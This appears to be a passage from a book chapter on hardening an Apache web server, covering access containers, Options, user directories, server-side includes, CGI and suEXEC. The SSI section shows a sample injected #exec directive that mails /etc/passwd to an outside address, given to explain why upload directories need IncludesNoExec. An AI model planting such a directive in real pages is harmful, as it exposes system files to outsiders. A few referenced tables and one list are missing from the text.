8.3 Setup Time: Configuring ApacheConfiguring a web server is like configuring an email or DNS server — small changes can have unforeseen consequences. Most web security problems are caused by configuration errors rather than exploits of the Apache code. 8.3.1 Apache Configuration FilesI mentioned that Apache's configuration files could be found under /etc/httpd/conf, /usr/local/apache/conf, or some less well-lit place. The most prominent file is httpd.conf, but you will also see access.conf and srm.conf. These are historic remnants from the original NCSA web server. You can put any of Apache's configuration directives in any of these files. In practice, people usually throw everything into httpd.conf. If you'd like to separate security-related directives from others, put them in access.conf. This has some advantages: access.conf is smaller, an editing error won't break everything else, and security settings are more visible. But everything will work fine if you make your changes in httpd.conf. Any time you change Apache's configuration, check it before restarting the server: # apachectl configtest If this succeeds, start Apache: # apachectl start Before starting Apache, let's see how secure we can make it. 8.3.2 Configuration OptionsTo see what options your copy of Apache understands, run the following: httpd -L This reflects the modules that have been included, either dynamically or statically. I'll discuss the core options later. You will need to include other modules to understand their special options. 8.3.2.1 User and groupIn "Securing Apache's File Hierarchy," I covered which user and group IDs to use for Apache and its files. Apache is started by root, but the runtime ownership of all the Apache child processes is specified by the User and Group options. These directives should match your choices: User apache Group apache
8.3.2.2 Files and directoriesThe top of the server directory hierarchy is ServerRoot: ServerRoot /usr/local/apache The top of the web-content hierarchy (for static HTML files, not CGI scripts) is DocumentRoot: DocumentRoot /usr/local/apache/htdocs 8.3.2.3 ListenBy default, Apache listens on all IP addresses. Listen specifies which IP addresses and/or ports Apache should serve. For initial testing, you can force Apache to serve only the local address: Listen 127.0.0.1 or a different port: Listen 81 This is useful if you need to keep your current server live while testing the new one. Address and port may be combined: Listen 202.203.204.205:82 Use multiple Listen directives to specify more than one address or port. You may modify your firewall rules to restrict access from certain external addresses while testing your configuration. In Apache 2.0, Listen is mandatory and replaces the old BindAddress directive. 8.3.2.4 Containers: Directory, Location, and FilesApache controls access to resources (files, scripts, and other things) with the container directives: Directory, Location, and Files. Directory applies to an actual directory in the web server's filesystems. Location refers to a URL, so its actual location is relative to DocumentRoot (Location / = DocumentRoot). Files refers to filenames, which may be in different directories. Each of these has a counterpart that uses regular expressions: DirectoryMatch, LocationMatch, and FilesMatch. Within these containers are directives that specify access control (what can be done) and authorization (by whom). I'll trot out least privilege again and lock Apache down by default (put this in access.conf if you want to keep httpd.conf pristine): <Directory /> Options none AllowOverride none Order deny,allow Deny from all </Directory> By itself, this is a bit extreme. It won't serve anything to anyone, even if you're testing from the same machine. Try it, just to ensure you can lock yourself out. Then open the door slightly: <Directory /usr/local/apache/htdocs> Deny from all Allow from 127.0.0.1 </Directory> Now you can use a command-line web utility (such as wget, lynx, or curl) or a graphic browser on the same box to test Apache. Does it return a page? Do you see it logged in access.log? If not, what does error_log say? 8.3.2.5 OptionsTable 8-3 lists the possible values for Options.
Preceding an option value with a minus (-) removes it from the current options, preceding it with plus (+) adds it, and a bare value is absolute: # Add Indexes to current options: Options +Indexes # Remove Indexes from current options: Options Indexes # Make Indexes the only current option, disabling the others: Options Indexes 8.3.2.6 Resource limitsTable 8-4 lists the directives to help avoid resource exhaustion from Denial of Service attacks or runaway CGI programs.
8.3.2.7 User directoriesIf you don't need to provide user directories on your web server, disable them: UserDir disabled You can support only some users: UserDir disabled UserDir enabled good_user_1, careful_user_2 If you want to enable all your users, disable root and other system accounts: UserDir enabled UserDir disabled root To prevent users from installing their own .htaccess files, specify: UserDir /home/*/public_html <Directory /home/*/public_html> AllowOverride None </Directory> 8.3.3 Static ContentStatic content includes HTML, JavaScript, Flash, images, and other files that are served directly by the web server without interpretation. The files and their directories need to be readable by the user ID running Apache (apache, in our examples). Static files don't pose much of a security threat on the server side. The web server just reads them and sends them to the requesting browser. Although there are many security issues with web browsers, client security is outside the scope of this chapter. Watch your browser vendor's web site for security news, patches, and new versions. 8.3.4 Dynamic Content: Server-Side Includes (SSI)A step up from purely static pages, server-side includes allow inclusion of other static content, special dynamic content such as file-modification times, and even the output from the execution of external programs. Unlike CGI scripts, there is no way to pass input arguments to an SSI page. 8.3.4.1 SSI configurationApache needs to be told that an SSI file is not a lump of inert HTML, but should be parsed for SSI directives. First, check that includes are permitted for at least some files in this directory. Add this to httpd.conf or access.conf: <Location /ssi_dir> Options IncludesNoExec </Location> One way to differentiate HTML from SSI files is to use a special suffix like .shtml and associate it with Apache's built-in MIME type for parsable content: AddType application/x-server-parsed .shtml or just assign the Apache handler directly: AddHandler server-parsed .shtml Using this tells the world that your pages use server-side includes. If you'd like to conceal this fact, use another suffix. One trick I've seen is to use .html for static text and .htm for SSI text: AddHandler server-parsed .htm A little-known feature of Apache is its ability to use the execute bit of a file to indicate that it should be parsed. I've used this to mix static and parsed HTML files in the same directory with the same suffix. The directive is as follows: <Location /ssi_dir> Options +IncludesNoExec XBitHack full </Location> The extra attribute full tells Apache to check the modification time of the included file rather than the including file. To change an HTML file into an SSI file, just use the following: chmod +x changeling.html 8.3.4.2 Including filesThe most basic use of SSI is for inclusion of static files. For example, a site can include a standard header and footer on each page: <!--#include virtual="header.html"--> . . . variable content goes here . . . <!--#include virtual="footer.html"--> What can you do with SSI? Give the virtual attribute a relative URL to include that file's content: <!--#include virtual="included_file.html"--> You can also include the output of a local CGI script by giving its relative URL: <!--#include virtual="/cgi-bin/script"--> 8.3.4.3 Executing commandsIf Options Includes was set, you can also execute any external command on the web server, which is quite dangerous. The following is a benign example: <!--#exec cmd="ls -l /"--> SSI can't get arguments from the client, so any command and arguments are fixed. Since you specify the commands, you might feel safe. However, anyone with write access to /ssi_dir could upload an HTML file containing an SSI #exec string: <!--#exec cmd="mail [email protected] < /etc/passwd"--> If you allow people to upload HTML (say, in a guestbook application), forbid SSI execution in the target directory, and untaint the input (see the "Forms and Input Data Validation" section). Similar vulnerabilities have been seen in utilities that create HTML, like email digesters and web-log analyzers. If you must have SSI, but don't need executable external commands, always exclude them: <Location /ssi_dir> Options IncludesNoExec </Location>
8.3.5 Dynamic Content: Common Gateway Interface (CGI)The CGI is a protocol for sending queries and data via HTTP to a program on the web server. The CGI program can be written in any language, interpreted or compiled. Surprisingly, there is still no final RFC that defines CGI. CGI 1.1 is described at http://hoohoo.ncsa.uiuc.edu/cgi/interface.html. Also, see The CGI Programming MetaFAQ (http://www.perl.org/CGI_MetaFAQ.html). 8.3.5.1 Standalone and built-in CGI interpretersThe CGI protocol doesn't specify how the web server should communicate with the CGI program. There have been two main solutions:
8.3.5.2 Specifying CGI programsThere are a couple ways to tell Apache to treat a file as a CGI script rather than a static file: Treat every file within a directory as a CGI script: ScriptAlias /cgi-bin /usr/local/apache/cgi-bin
Allow some files in a directory to be CGI scripts: <Location /usr/local/apache/mixed> Options ExecCGI </Location> Mixing static files and scripts is dangerous, since a configuration typo could cause Apache to treat a script file as a normal file and allow users to view its contents. If you do mix files and scripts, you need to tell Apache which files are CGI scripts and which are static files. Use a file suffix or some other naming convention for the script. We'll see how to protect files shortly.
Expect trouble if users can upload files to a directory and execute them as CGI scripts. Consider using suEXEC (described next) or limiting CGI scripts to directories where you can see them. 8.3.5.3 suEXECNormally, CGI programs will all be run with Apache's user ID and group. If you have multiple users and virtual hosts, this lets them run each other's scripts and access each other's data. What if you have a web-hosting service and want to let your customers run their own CGI scripts, but no one else's? That's a job for Apache's suEXEC facility. suEXEC is a setuid root program that wraps scripts to run with a specified user ID and group ID. Scripts need to pass a number of security guidelines before they will be accepted. As with any setuid root program, beware of potential dangers from any exploit or botched configuration. Documentation is at http://httpd.apache.org/docs-2.0/suexec.html. 8.3.5.4 FastCGIFastCGI is an alternative for creating CGI programs without the startup time of a standalone program, but also without the complexity of an Apache module. The protocol is language independent, and libraries are available for the most common web languages. Details are available at www.fastcgi.com. FastCGI falls somewhere between standalone and module-based CGI. It starts an external CGI program, but maintains a persistent connection through the Apache module mod_fastcgi. Scripts need slight modification to work with FastCGI. You must have set Options ExecCGI in httpd.conf to enable a FastCGI application, just as you would any other CGI program. If you want to allow use of suEXEC with FastCGI, set FastCGIWrapper On. FastCGI scripts are vulnerable to the same problems as any CGI scripts. |